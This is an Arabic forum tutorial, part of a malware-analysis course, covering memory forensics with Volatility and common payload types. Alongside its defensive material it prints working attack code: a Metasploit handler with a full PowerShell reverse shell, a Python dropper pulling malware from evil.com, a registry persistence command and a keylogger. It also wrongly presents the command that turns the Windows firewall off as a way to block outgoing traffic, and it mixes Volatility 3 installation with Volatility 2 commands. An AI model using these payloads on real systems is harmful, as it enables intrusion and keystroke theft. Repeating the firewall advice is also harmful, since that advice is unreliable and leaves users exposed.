Ramy Badraan
مراقب قسم الحماية وانظمة لينكس -مصمم بنرات المنتدى
طـــاقم الإدارة
★★ نجم المنتدى ★★
فريق الدعم لقسم الحماية
نجم الشهر
فريق التصميم
كبار الشخصيات
		- إنضم
- 26 أكتوبر 2008
- المشاركات
- 3,160
- مستوى التفاعل
- 6,706
- النقاط
- 4,500
- الإقامة
- مصر
- الموقع الالكتروني
- www.facebook.com
غير متصل
  
		
	
    من فضلك قم بتحديث الصفحة لمشاهدة المحتوى المخفي
								
									
	
	
	
								
								
									
	
	 الجزء الثالث: بعنوان لما الفيروسات تبقى شبح! 
 
 
	في
                
                    يجب عليك 
 
تسجيل الدخول
                    
                        او
                         تسجيل لمشاهدة الرابط المخفي
                        
                    
            
        
    
    
، اتعلمنا إزاي نحلل الملفات يدويًا، ونفك شفرات البرمجيات الخبيثة وكأننا جواسيس في فيلم أكشن! 

وفي
                
                    يجب عليك 
 
تسجيل الدخول
                    
                        او
                         تسجيل لمشاهدة الرابط المخفي
                        
                    
            
        
    
    
، خدنا خطوة أكبر، واتعمقنا في أدوات الهندسة العكسية زي Ghidra و IDA Proوكمان جربنا نحلل الفيروسات في بيئة معزولة باستخدام الـ Sandbox.


بس في وسط كل ده، فيه فيروسات ما بتسيبش أثر على الهارد، وما بتظهرش حتى في مدير المهام!

ليه؟ لأنها بتلعب في الذاكرة (RAM)، وبتشتغل زي الشبح، تتحرك بين العمليات بدون ما حد يحس بيها!

 في الجزء الثالث ده، هننزل الملعب ونمسك الفيروسات دي متلبسة وهي مستخبية جوه الرامات!
 في الجزء الثالث ده، هننزل الملعب ونمسك الفيروسات دي متلبسة وهي مستخبية جوه الرامات! هنستخدم أدوات قوية زي
 هنستخدم أدوات قوية زي 
    
        
    
    
        
            
                
                    يجب عليك 
 
تسجيل الدخول
                    
                        او
                         تسجيل لمشاهدة الرابط المخفي
                        
                    
            
        
    
    
 عشان نستخرج العمليات المشبوهة ونكشف اللي بيتحرك في الخفاء! كمان هنفكك البايلودات، ونشوف إزاي الهاكرز بيحقنوا أكوادهم الشيطانية جوه برامج بريئة عشان تشتغل لحسابهم!
 كمان هنفكك البايلودات، ونشوف إزاي الهاكرز بيحقنوا أكوادهم الشيطانية جوه برامج بريئة عشان تشتغل لحسابهم!استعد، لأن اللي جاي مش مجرد تحليل عادي، ده بحث عن الأشباح الإلكترونية!



 
	فحص الذاكرة باستخدام Volatility – فتِّش يا باشا! 
 
 
	بص يا معلم، الفايروس مش غشيم، ده لاعب قديم وعارف إنك ممكن تمسكه، فبقى عامل زي الحرامي اللي مش بيسيب بصمات!
لا ملفات في الهارد، لا أوامر في الـ Registry، وكل شغله في الـ RAM... يعني إنت لو عملت Restart للجهاز، خلاص راحت عليك!

طب والحل؟ نجيب Volatility ونعصر دماغ الجهاز زي ما بنعصر الليمونة على طبق الكشري!


 خطوات تثبيت Volatility على Windows & Linux
 خطوات تثبيت Volatility على Windows & Linux
أول حاجة: تأكد إن عندك المتطلبات دي
قبل ما ندخل في الجد، لازم نضمن إن جهازك متزبط صح: Python 3.8 أو أحدث (لو معندكش، هننزل لك اللينك)
 Python 3.8 أو أحدث (لو معندكش، هننزل لك اللينك) Pip محدث لآخر إصدار (عشان منبقاش شغالين على موضة 2010)
 Pip محدث لآخر إصدار (عشان منبقاش شغالين على موضة 2010) Git عشان ننزل الأداة من المصدر
 Git عشان ننزل الأداة من المصدر لو ويندوز: محتاج Microsoft C++ Build Tools
 لو ويندوز: محتاج Microsoft C++ Build Tools










 
 يلا نبدأ التثبيت
 يلا نبدأ التثبيت  
 الخطوة 1: تأكد إن Python عندك متثبت
 الخطوة 1: تأكد إن Python عندك متثبت
افتح الـ CMD لو انت ويندوز أو الـ Terminal لو انت لينكساوي ابن ناس  واكتب:
 واكتب:
		كود:
	
	python --versionلو طلعلك رقم زي Python 3.x.x يبقى تمام
لو لأ خش حمله من هنا:
 
 
    
        
    
    
        
            
                
                    يجب عليك 
 
تسجيل الدخول
                    
                        او
                         تسجيل لمشاهدة الرابط المخفي
                        
                    
            
        
    
    
 بعد ما تثبته، اعمل تحديث لـ pip عشان متضربش منك حاجات بعد كده:
 بعد ما تثبته، اعمل تحديث لـ pip عشان متضربش منك حاجات بعد كده:
		كود:
	
	python -m pip install --upgrade pip الخطوة 2: ننزل Volatility 3 
 الخطوة 2: ننزل Volatility 3 
 نجيب الأداة من جيت هاب:
 نجيب الأداة من جيت هاب:
		كود:
	
	git clone https://github.com/volatilityfoundation/volatility3.git ندخل جوه المجلد عشان نبدأ الشغل:
 ندخل جوه المجلد عشان نبدأ الشغل:
		كود:
	
	cd volatility3 نثبت المكتبات المطلوبة:
 نثبت المكتبات المطلوبة:
		كود:
	
	pip install -r requirements.txt الخطوة 3: اختبار التشغيل
 الخطوة 3: اختبار التشغيل  
عشان نتأكد إن كله شغال تمام، نجرب نشغل الأداة بالأمر ده:
		كود:
	
	python vol.py -hلو ظهرلك سيل من الأوامر والمعلومات يبقى
 مبروك عليك، انت نصبت Volatility 3 بنجاح!
 مبروك عليك، انت نصبت Volatility 3 بنجاح! 

 
	
 الخطوة الأولى: ناخد نسخة من الذاكرة (Memory Dump)
 الخطوة الأولى: ناخد نسخة من الذاكرة (Memory Dump)
عشان نبدأ الشغل، لازم نجيب صورة طبق الأصل من الذاكرة، زي ما بنعمل Screenshot للواتساب قبل ما الحاجة تتشال! 
 طريقة سهلة باستخدام Task Manager:
 طريقة سهلة باستخدام Task Manager:
افتح الـ Task Manager بـ Ctrl + Shift + Esc.روح لـ Processes ودور على أي عملية مشبوهة.
كليك يمين عليها واختار Create Dump File.
 
	هتلاقيه في:
		كود:
	
	C:\Users\YourName\AppData\Local\Temp\











الخطوة الثانية: نشغل Volatility ونبدأ التفتيش!  
بعد ما خدنا نسخة من الذاكرة، نبدأ بقى نفتحها وندور على المصايب اللي مستخبية فيها! نعرف نظام التشغيل اللي في الـ Dump
 نعرف نظام التشغيل اللي في الـ Dump
أول حاجة نسأل الجهاز: "إنت شغال على ويندوز كام يا نجم؟"
		كود:
	
	volatility -f dump.dmp imageinfoهيدينا حاجة زي كده:
		كود:
	
	Suggested Profile(s) : Win7SP1x64, Win10x64_19041خد البروفايل المناسب، وهنستخدمه بعد كده.
 
	 نكشف العمليات الشغالة (pslist)
 نكشف العمليات الشغالة (pslist)
دلوقتي بقى نفتح ونشوف إيه العمليات اللي شغالة، زي دكتور بيفتح أشعة المريض.  ومن خلالها بيعرف نوع الاصابة
 ومن خلالها بيعرف نوع الاصابة 
		كود:
	
	volatility -f dump.dmp --profile=Win7SP1x64 pslistلو لقيت حاجات زي:
 explorer.exe → تمام، ده الطبيعي.
 explorer.exe → تمام، ده الطبيعي. abc123.exe → إيه ده يا حاج؟ منين ده؟!
 abc123.exe → إيه ده يا حاج؟ منين ده؟! notepad.exe بس بياخد 1 جيجا RAM؟ يبقى أكيد فيه مصيبة!
 notepad.exe بس بياخد 1 جيجا RAM؟ يبقى أكيد فيه مصيبة! 
	 نكشف العمليات المستخبية (psscan)
 نكشف العمليات المستخبية (psscan)
فيه برامج بتشتغل بس مش عايزة تظهر في الـ Task Manager.. بنفضحها كده:
		كود:
	
	volatility -f dump.dmp --profile=Win7SP1x64 psscanممكن تلاقي العملية شغالة، بس مش موجودة في الأمر الأول.. معناها إيه؟ معناها حد عامل فيها نينجا!

 
	 نعرف العمليات اللي تم التلاعب فيها (malfind)
 نعرف العمليات اللي تم التلاعب فيها (malfind)
فيه برمجيات خبيثة بتدخل نفسها جوه عمليات سليمة، زي واحد بيدخل حفلة من غير دعوة وبيمثل إنه صاحب المكان. 
		كود:
	
	volatility -f dump.dmp --profile=Win7SP1x64 malfindلو لقيت:
		كود:
	
	Process: explorer.exe Pid: 1234
Injected code at 0x7f8eab000يبقى حد لعب في explorer.exe وحط جواه كود مشبوه.

 
	 نشوف البرامج اللي بتتصل بالإنترنت (netscan)
 نشوف البرامج اللي بتتصل بالإنترنت (netscan)
دلوقتي بقى نشوف إيه اللي شغال على الإنترنت، ومين بيبعت بيانات في الضلمة. 
		كود:
	
	volatility -f dump.dmp --profile=Win7SP1x64 netscanلو طلعلك:
svchost.exe -> 192.168.1.50:4444 (ESTABLISHED)
يبقى مبروك، عندك Reverse Shell وواحد بيتفرج عليك لايف!

 
	 نطلع الملفات اللي البرمجية كانت فاتحاها (filescan)
 نطلع الملفات اللي البرمجية كانت فاتحاها (filescan)
بنقول للجهاز: "ورينا إيه الملفات اللي البرامج دي كانت بتفتحها؟"
		كود:
	
	volatility -f dump.dmp --profile=Win7SP1x64 filescanممكن تلاقي حاجات زي:
		كود:
	
	C:\Users\Public\evil.exe
C:\Windows\Temp\malware.dllلو لقيت حاجة غريبة، يبقى 99% هو ده الفيروس!

 
	دلوقتي عرفنا:
 العملية المشبوهة
 العملية المشبوهة الكود اللي دخل عليها
 الكود اللي دخل عليها الملفات اللي بتتعامل معاها
 الملفات اللي بتتعامل معاها الاتصالات اللي بتعملها
 الاتصالات اللي بتعملهايعنى من الآخر!
 Volatility هو ال FBI بتاع الذاكرة، بيكشفلك كل حاجة مستخبية.
 Volatility هو ال FBI بتاع الذاكرة، بيكشفلك كل حاجة مستخبية. العمليات المخفية والتعديلات الغريبة = في الغالب فيروسات.
 العمليات المخفية والتعديلات الغريبة = في الغالب فيروسات. أي اتصال مشبوه بـ IP غريب؟ غالبًا حد بيتجسس عليك.
 أي اتصال مشبوه بـ IP غريب؟ غالبًا حد بيتجسس عليك. الملفات اللي كانت مفتوحة ممكن تدلك على مكان الفيروس.
 الملفات اللي كانت مفتوحة ممكن تدلك على مكان الفيروس. 
	 الحلول العملية لفحص الذاكرة واكتشاف البرمجيات الخبيثة!
 الحلول العملية لفحص الذاكرة واكتشاف البرمجيات الخبيثة! 
 
 
	دلوقتي عرفنا إن البرمجيات الخبيثة مش بتسيب أثر واضح على الهارد
وبدل كده بتفضل شغالة في الرام (الذاكرة العشوائية) زي العفريت!

وعلشان نمسكها لازم نكون شغالين بذكاء ونستخدم أدوات احترافية!













 
 إزاي تكتشف البرمجيات الخبيثة في الرام؟!
 إزاي تكتشف البرمجيات الخبيثة في الرام؟!
الهاكر ممكن يكون ذكي، بس إحنا أذكى!تعالي نشوف إزاي نكشف أي عملية خبيثة في الذاكرة قبل ما تخدعنا.
 
  مراقبة العمليات المشبوهة (Process Monitoring)
 مراقبة العمليات المشبوهة (Process Monitoring)
أول خطوة هي إننا نتابع العمليات اللي شغالة على الجهاز، ونشوف هل في حاجة غريبة؟ 
 الحل:
 الحل:افتح مدير المهام (Task Manager) وتأكد من العمليات الغريبة!
اضغط Ctrl + Shift + Esc وافتح تبويب Processes.
دور على أي عملية استهلاكها عالي بشكل غريب أو مش عارف مصدرها.
لو لقيت حاجة مش مألوفة، اضغط Right Click → Open File Location
لو الملف طلع موجود في C:\Windows\System32 أو Program Files، غالبًا هو سليم.
لو طلع في مكان غريب زي AppData\Roaming أو Temp، يبقى فيه إنّ!

استخدم أمر PowerShell عشان تجيب العمليات النشطة بالأسماء الكاملة!
		كود:
	
	Get-Process | Sort-Object -Property CPU -Descending | Select-Object -First 10
 
	










 
افحص العمليات المشبوهة باستخدام VirusTotal مباشرة من CMD!
استخدم tasklist لجلب كل العمليات:
		كود:
	
	tasklist /v 
	خد اسم العملية المشبوهة وابحث عنها في VirusTotal (
                
                    يجب عليك 
 
تسجيل الدخول
                    
                        او
                         تسجيل لمشاهدة الرابط المخفي
                        
                    
            
        
    
    
) علشان تشوف إذا كان فيروس ولا لا.











 
  تحليل الذاكرة باستخدام Volatility
 تحليل الذاكرة باستخدام Volatility
برنامج Volatility هو واحد من أقوى الأدوات لفحص الذاكرة وكشف أي عمليات خبيثة شغالة فيها! 

 الحل:
 الحل: خد لقطة من الذاكرة (Memory Dump)
 خد لقطة من الذاكرة (Memory Dump)
عشان نقدر نفحص الذاكرة، لازم الأول ناخد لقطة كاملة منها. بنستخدم أداة DumpIt:حمل أداة DumpIt.exe من الإنترنت.
شغلها كـ Administrator وهتلاقيها عملت ملف .dmp فيه كل بيانات الرام.
استخدم Volatility عشان تحلل البيانات دي.
 
	 استخدم Volatility لاكتشاف الفيروسات المخفية
 استخدم Volatility لاكتشاف الفيروسات المخفية
بعد ما ناخد لقطة الذاكرة، هنستخدم Volatility لتحليلها: عرض كل العمليات النشطة في الذاكرة:
 عرض كل العمليات النشطة في الذاكرة:
		كود:
	
	volatility -f memory.dmp --profile=Win10x64_18362 pslistهنا هتشوف كل العمليات اللي كانت شغالة أثناء أخذ لقطة الذاكرة، لو لقيت حاجة مش مألوفة، ابدأ تحللها أكتر!
 اكتشاف العمليات المشبوهة اللي مش ظاهرة في مدير المهام:
 اكتشاف العمليات المشبوهة اللي مش ظاهرة في مدير المهام:
		كود:
	
	volatility -f memory.dmp --profile=Win10x64_18362 psscanالأمر ده بيعرض العمليات المخفية اللي مش هتظهر في Task Manager، وغالبًا هنا هتلاقي الفيروسات الخطيرة!

 البحث عن الـ DLLs المشبوهة اللي حقنت نفسها في العمليات:
 البحث عن الـ DLLs المشبوهة اللي حقنت نفسها في العمليات:
		كود:
	
	volatility -f memory.dmp --profile=Win10x64_18362 dlllist -p 1234بدّل 1234 برقم العملية المشبوهة اللي لقيتها في الأوامر السابقة، وهتشوف كل الملفات اللي شغالة جواها.
 استخراج الـ EXE المشبوه من الذاكرة لفحصه لاحقًا:
 استخراج الـ EXE المشبوه من الذاكرة لفحصه لاحقًا:
		كود:
	
	volatility -f memory.dmp --profile=Win10x64_18362 procdump -p 1234 -D output_folderكده هتقدر تاخد نسخة من الملف وتشغله في Sandbox (بيئة وهمية) علشان تشوف إذا كان فيروس ولا لا.
 
	 
  مراقبة الاتصالات المشبوهة في الذاكرة
 مراقبة الاتصالات المشبوهة في الذاكرة
لو الفيروس شغال وبيعمل اتصال مع سيرفر الهاكر، لازم نكشفه قبل ما يسرب بياناتنا! 
 الحل:
 الحل:استخدم netstat عشان تجيب كل الاتصالات اللي شغالة في الوقت الحالي:
		كود:
	
	netstat -ano | findstr ESTABLISHEDاستخدم Volatility لجلب الاتصالات المشبوهة اللي كانت شغالة وقت الـ Memory Dump:
		كود:
	
	volatility -f memory.dmp --profile=Win10x64_18362 netscanلو شاكك إن جهازك بيعمل اتصالات خفية، اعمل حظر مؤقت لكل الاتصالات الصادرة:
		كود:
	
	netsh advfirewall set allprofiles state offده هيمنع الجهاز من إرسال أي بيانات لحد ما تخلص الفحص.
 
	 
  تنظيف الذاكرة وإزالة العمليات المشبوهة
 تنظيف الذاكرة وإزالة العمليات المشبوهة
بعد ما نكتشف البرمجيات الخبيثة، لازم نمسحها بطريقة احترافية عشان نضمن إنها متقومش تاني! الحل:
 الحل:لو لقيت عملية مشبوهة، اقتلها فورًا باستخدام:
		كود:
	
	taskkill /F /PID 1234امسح أي ملفات مرتبطة بيها:
		كود:
	
	del /F /Q C:\path\to\malware.exeلو مش عارف مكان الملف، استخدم:
		كود:
	
	where /R C:\ malware.exeلو الفيروس كان بيشتغل من الريجستري، امسح الإدخال بتاعه:
		كود:
	
	reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "VirusName" /f 
	 خلاصة الكلام يا معلم!
 خلاصة الكلام يا معلم!  
 فحص الذاكرة هو الحل السحري لاكتشاف الفيروسات المتخفية!
 فحص الذاكرة هو الحل السحري لاكتشاف الفيروسات المتخفية! استخدم أدوات زي Task Manager و Volatility عشان تجيب العمليات المشبوهة.
 استخدم أدوات زي Task Manager و Volatility عشان تجيب العمليات المشبوهة. راقب الاتصالات المفتوحة، أي اتصال غريب = خطر محتمل!
 راقب الاتصالات المفتوحة، أي اتصال غريب = خطر محتمل! اقتل أي عملية خبيثة فورًا ونظف جهازك من بقاياها!
 اقتل أي عملية خبيثة فورًا ونظف جهازك من بقاياها! نصيحة على الماشي:
 نصيحة على الماشي:
لو اكتشفت فايروس، متقفش عند التحليل بس! جرب ترفع الـ dump على VirusTotal وشوف مين تاني شافه قبلك. 
 
	 البايلود – الفيروس بيشتغل إزاي؟!
 البايلود – الفيروس بيشتغل إزاي؟! 
 
 
	بص يا معلم، تخيل إن الفيروس عبارة عن حرامي محترف، مش بيدخل يسرق كده وخلاص، لأ.. عنده خطة!
 يدخل من الباب الخلفي (الاستغلال - Exploit)
 يدخل من الباب الخلفي (الاستغلال - Exploit) ينصب كمين ويقعد مرتاح (تحميل الحمولة - Payload Execution)
 ينصب كمين ويقعد مرتاح (تحميل الحمولة - Payload Execution) يستولي على الجهاز براحته (السيطرة والتخفي - Persistence & Evasion)
 يستولي على الجهاز براحته (السيطرة والتخفي - Persistence & Evasion)والنهاردة، هنركز على المرحلة التانية.. إزاي الحرامي بعد ما دخل، بيبدأ يشتغل!












 
 أنواع البايلود – الفيروس عنده خطط كتير!
 أنواع البايلود – الفيروس عنده خطط كتير!
الفيروس مش بيجي في شكل واحد، عنده كذا طريقة يشتغل بيها، زي لاعب محترف عنده "تكتيكات" مختلفة! 
 
  بايلود مباشر (Reverse Shell)
 بايلود مباشر (Reverse Shell)
ده النوع اللي بمجرد ما الفيروس يتشغل، يفتحلك باب خلفي، يخليك تتحكم في الجهاز عن بعد، وكأنك قاعد عليه! مثال عملي على Reverse Shell باستخدام Metasploit:
 مثال عملي على Reverse Shell باستخدام Metasploit:على جهاز المهاجم، بنعمل لوج للاتصال:
		كود:
	
	msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploitبعد كده، على جهاز الضحية، نشغل الكود ده (وده البايلود):
		كود:
	
	$client = New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback = (iex $data 2>&1 | Out-String );
  $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte, 0, $sendbyte.Length);
  $stream.Flush()
}
$client.Close() معنى الكلام ده؟
 معنى الكلام ده؟ده سكريبت باورشيل بيخلي الضحية تفتح اتصال بالهاكر، وأي أمر يكتبه الهاكر في Meterpreter يتنفذ على جهاز الضحية!












 
 
  بايلود ينزل ملف ضار (Dropper)
 بايلود ينزل ملف ضار (Dropper)
في النوع ده، البايلود بيعمل حاجة بسيطة جدًا.. بينزل فيروس تاني!يعني بدل ما يكون الفيروس ضخم، بيكون خفيف وسريع، ومهمته الوحيدة إنه ينزل البرنامج الأساسي اللي بيعمل التخريب الحقيقي!

 مثال عملي على Dropper بايتون:
 مثال عملي على Dropper بايتون:
		كود:
	
	import requests
url = "http://evil.com/malware.exe"
r = requests.get(url, allow_redirects=True)
open("C:\\Users\\Public\\malware.exe", 'wb').write(r.content) إيه اللي بيحصل هنا؟
 إيه اللي بيحصل هنا؟السكريبت ده بينزل الفايروس من موقع evil.com
يحفظه في C:\Users\Public\malware.exe
بمجرد ما الضحية يفتحه، الباقي تاريخ!












 
 
  بايلود يغير في الـ Registry
 بايلود يغير في الـ Registry
فيه فايروسات بدل ما تحط ملفات في الجهاز، بتلعب في الـ Registry عشان تضمن إنها تشتغل كل مرة الجهاز يفتح! 
 مثال على بايلود يعدل الريجستري عشان يشتغل مع كل تشغيل:
 مثال على بايلود يعدل الريجستري عشان يشتغل مع كل تشغيل:
		كود:
	
	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "EvilApp" /t REG_SZ /d "C:\Users\Public\malware.exe" /f معناه؟
 معناه؟بيضيف مفتاح جديد في الريجستري
أي حد يفتح الجهاز، الفيروس يشتغل معاه تلقائي!












 
 
  بايلود يسرق البيانات (Keylogger)
 بايلود يسرق البيانات (Keylogger)
بعض الفيروسات شغلتها الأساسية تسجيل كل زرار بتدوس عليه، عشان يسرق الباسوردات والمحادثات! 
 مثال عملي على Keylogger بايثون بسيط:
 مثال عملي على Keylogger بايثون بسيط:
		كود:
	
	from pynput import keyboard
def on_press(key):
    with open("keys.txt", "a") as file:
        try:
            file.write(f'{key.char}')
        except AttributeError:
            file.write(f'[{key}]')
listener = keyboard.Listener(on_press=on_press)
listener.start() إيه اللي بيعمله ده؟
 إيه اللي بيعمله ده؟كل زرار بتدوس عليه بيتسجل في ملف keys.txt
كل بياناتك راحت للهاكر في أقل من ثانية!












 
 الملخص يا كبير!
 الملخص يا كبير!
 البايلود هو قلب الفيروس.. بمجرد ما يدخل، يبدأ الشغل.
 البايلود هو قلب الفيروس.. بمجرد ما يدخل، يبدأ الشغل. عندنا أنواع كتير، أشهرهم:
 عندنا أنواع كتير، أشهرهم:Reverse Shell: يخليك تتحكم عن بعد
Dropper: ينزل فايروس تاني
Registry Attack: يضمن إن الفايروس يشتغل كل مرة
Keylogger: يسرق كل زرار بتدوس عليه!
 الفيروسات مش شرط تكون كبيرة، ممكن يكون 10 سطور كود وتدمر جهاز!
 الفيروسات مش شرط تكون كبيرة، ممكن يكون 10 سطور كود وتدمر جهاز! 
 نصيحة على السريع:
 نصيحة على السريع:
عايز تحمي نفسك؟ 
ماتفتحش أي ملف غريب حتى لو من صاحبك!
شغل الـ Windows Defender ولا تقفله!
استخدم Sandbox أو جهاز افتراضي لو هتشغل حاجات مش موثوقة.
 
	 كيف تحمي نفسك من البايلود؟ الحلول والأساليب المضادة!
 كيف تحمي نفسك من البايلود؟ الحلول والأساليب المضادة!
 
	الهاكر ممكن يكون شاطر، لكن إنت تقدر تكون أشطر!


تعالى نشوف إزاي تقفل الباب في وش أي فايروس يحاول يدخل جهازك!


 
  الحماية من Reverse Shell
 الحماية من Reverse Shell
بما إن النوع ده بيفتح اتصال بين جهازك والهاكر، يبقى الحل الطبيعي إننا نقفل الاتصالات المشبوهة! 
 الحل:
 الحل:افصل الإنترنت أول ما تحس بحاجة غريبة! (زي بطء مفاجئ أو نوافذ غريبة).
راقب الاتصالات المفتوحة باستخدام أوامر الشبكة:
في ويندوز، افتح الـ CMD واكتب:
		كود:
	
	netstat -ano | findstr :4444لو لقيت اتصال مشبوه، اعرف الـ PID بتاعه، واقفله بـ:
		كود:
	
	taskkill /PID 1234 /Fفي لينكس، استخدم:
		كود:
	
	lsof -i :4444
kill -9 <PID>استخدم Firewall لمنع أي اتصال مش مألوف:
في ويندوز، اعمل Rule تمنع أي اتصال غير معروف:
		كود:
	
	netsh advfirewall firewall add rule name="Block Reverse Shell" dir=out action=block protocol=TCP remoteport=4444لو شاكك إن جهازك مُصاب، افحصه بـ Wireshark أو TCPView عشان تشوف أي اتصال غريب شغال.
 
	 
  الحماية من الـ Dropper (تنزيل الملفات الخبيثة)
 الحماية من الـ Dropper (تنزيل الملفات الخبيثة)
الفايروسات اللي بتنزل فايروسات تانية بتعتمد على إنك مش واخد بالك، فالحل إنك تكون صاحي وواعي! 

 الحل:
 الحل:شغل الـ Windows Defender وماتقفلوش أبداً!
لو شاكك في ملف، افحصه قبل ما تشغله:
استخدم
                
                    يجب عليك 
 
تسجيل الدخول
                    
                        او
                         تسجيل لمشاهدة الرابط المخفي
                        
                    
            
        
    
    
استخدم برامج الحماية اللي بتراقب النظام في الوقت الحقيقي (مثل Malwarebytes أو Kaspersky أو Norton ).
اقفل ميزة تشغيل السكريبتات العشوائية في باورشيل:
		كود:
	
	Set-ExecutionPolicy Restricted 
	 
  الحماية من الهجمات على الـ Registry
 الحماية من الهجمات على الـ Registry
 
	الهجمات اللي بتعدل في الـ Registry بتخلي الفايروس يشتغل مع كل تشغيل للجهاز، وده شيء خطر جداً!

 الحل:
 الحل:افحص الريجستري دورياً وشوف أي إدخالات مشبوهة:
افتح Run (Win + R) واكتب regedit.
روح لـ:
		كود:
	
	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runاستخدم السكريبت دة لمسح أي إدخالات ضارة:
		كود:
	
	reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "EvilApp" /fامنع أي تعديل غير مصرح في الريجستري باستخدام Group Policy:
افتح gpedit.msc
روح لـ:
		كود:
	
	User Configuration -> Administrative Templates -> Systemكده أي فايروس هيحاول يعدل الريجستري، هياكل أكبر خازوق!


 
	 
  الحماية من Keyloggers (تسجيل لوحة المفاتيح)
 الحماية من Keyloggers (تسجيل لوحة المفاتيح)
فايروسات الـ Keylogger خطيرة لأنها بتسرق كل حرف بتكتبه، بما فيهم كلمات السر والمحادثات! 
 الحل:
 الحل:استخدم لوحة مفاتيح على الشاشة لكتابة الباسوردات:
في ويندوز، افتح On-Screen Keyboard (Win + R ثم osk).
ده بيمنع أي كيلوجر من تسجيل ضغطات الكيبورد الحقيقية!
استخدم برامج مضادة للـ Keyloggers مثل
                
                    يجب عليك 
 
تسجيل الدخول
                    
                        او
                         تسجيل لمشاهدة الرابط المخفي
                        
                    
            
        
    
    
 أو 
    
        
    
    
        
            
                
                    يجب عليك 
 
تسجيل الدخول
                    
                        او
                         تسجيل لمشاهدة الرابط المخفي
                        
                    
            
        
    
    
.افحص العمليات اللي شغالة في الخلفية، لو لقيت حاجة غريبة، اقفلها فورًا:
في ويندوز، افتح الـ Task Manager (Ctrl + Shift + Esc) وشوف أي برنامج مش مألوف.
استخدم:
		كود:
	
	tasklist /v | findstr "exe"لو لقيت حاجة مشبوهة، اقفلها بـ:
		كود:
	
	taskkill /F /IM malware.exe خلاصة الكلام يا معلم!
 خلاصة الكلام يا معلم!  
 الهاكر شاطر.. بس إنت تقدر تكون أشطر لو خدت بالك من اللي بيحصل في جهازك!
 الهاكر شاطر.. بس إنت تقدر تكون أشطر لو خدت بالك من اللي بيحصل في جهازك! البايلود مش حاجة سحرية.. كله عبارة عن أكواد تقدر توقفها لو كنت واعي!
 البايلود مش حاجة سحرية.. كله عبارة عن أكواد تقدر توقفها لو كنت واعي! استخدم برامج الحماية، افحص جهازك بانتظام، ولا تفتح أي ملف مش موثوق!
 استخدم برامج الحماية، افحص جهازك بانتظام، ولا تفتح أي ملف مش موثوق!احنا هنا مش بنتكلم عن نهاية، احنا بنتكلم عن مرحلة جديدة من الاحتراف!

دلوقتي عندك القدرة على تحليل العمليات اللي شغالة جوه الذاكرة، وكشف أي كود خبيث متخفي!
بقيت عارف إزاي البايلودات بتتحقن جوه البرامج، وإزاي تكتشفها قبل ما تشتغل وتخرب الدنيا!
 
	لكن استنى... لسه اللعبة ما خلصتش!


في الجزء الرابع، هنخش على مرحلة الهروب من الحماية (Evasion Techniques)
وهنشوف إزاي الفيروسات بتخدع برامج الأمن السيبراني وبتفضل شغالة تحت الرادار!
هنعرف أخطر الحيل اللي بيستخدمها الهاكرز، وهنجربها بنفسنا عشان نقدر نحمي أنظمتنا ضدها!


 لو عندك أي استفسار، أو عايز تضيف حاجة، قولى فى التعليق، الكورس ده بيتطور بكل فكرة جديدة!
 لو عندك أي استفسار، أو عايز تضيف حاجة، قولى فى التعليق، الكورس ده بيتطور بكل فكرة جديدة! استعد للجزء الجاي، لأنه هيكون نار بجد!
 استعد للجزء الجاي، لأنه هيكون نار بجد! 

 
	 
		
	
			
		 
	

 
 
		 
                                 
                                 
                                 
 
		 
                                 
                                
 عاااااش يانجم والله
 عاااااش يانجم والله  
 
 
 
		 
                                 
                                 
                                 
 
		 
                                 
                                 
 
		 
                                 
                                
 
 
		 
                                 
                                 
 
		 
                                 
 
		 
 
		 
                                